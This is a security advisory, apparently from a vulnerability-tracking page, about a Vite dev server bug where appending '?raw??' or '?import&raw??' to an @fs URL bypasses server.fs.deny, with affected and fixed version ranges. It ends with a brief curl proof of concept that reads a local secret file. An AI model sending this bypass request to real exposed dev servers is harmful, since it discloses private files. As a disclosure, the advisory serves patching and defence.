Vite bypasses server.fs.deny when using ?raw??
Affected releases · vite
- 6.x6.0.0 – 6.2.2Fixed in 6.2.3
- 5.x5.0.0 – 5.4.14Fixed in 5.4.15
- 4.x4.0.0 – 4.5.9Fixed in 4.5.10
- 3.x and older0.1.0 – 3.2.11No fix, no longer updated
On 6.x, the newest line:
npm install vite@6.2.3Not affected
8.0.0 – 8.3.5
34 releases, latest
Affected
6.0.0 – 6.0.11
12 releases
Fixed
6.0.12 – 6.0.15
4 releases
Affected
6.1.0 – 6.1.1
2 releases
Fixed
6.1.2 – 6.1.6
5 releases
Affected
6.2.0 – 6.2.2
3 releases
Fixed
6.2.3 – 6.4.5
19 releases
Affected
5.0.0 – 5.4.14
60 releases
Fixed
5.4.15 – 5.4.21
7 releases
Affected
4.0.0 – 4.5.9
48 releases
Fixed
4.5.10 – 4.5.14
5 releases
Affected
3.0.0 – 3.2.11
30 releases
Affected
2.0.0 – 2.9.18
97 releases
Affected
0.1.0 – 0.20.10
78 releases
Is your project affected?
Paste your package.json, or type the range you declare for vite. It is read in your browser and sent nowhere.
What happens
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...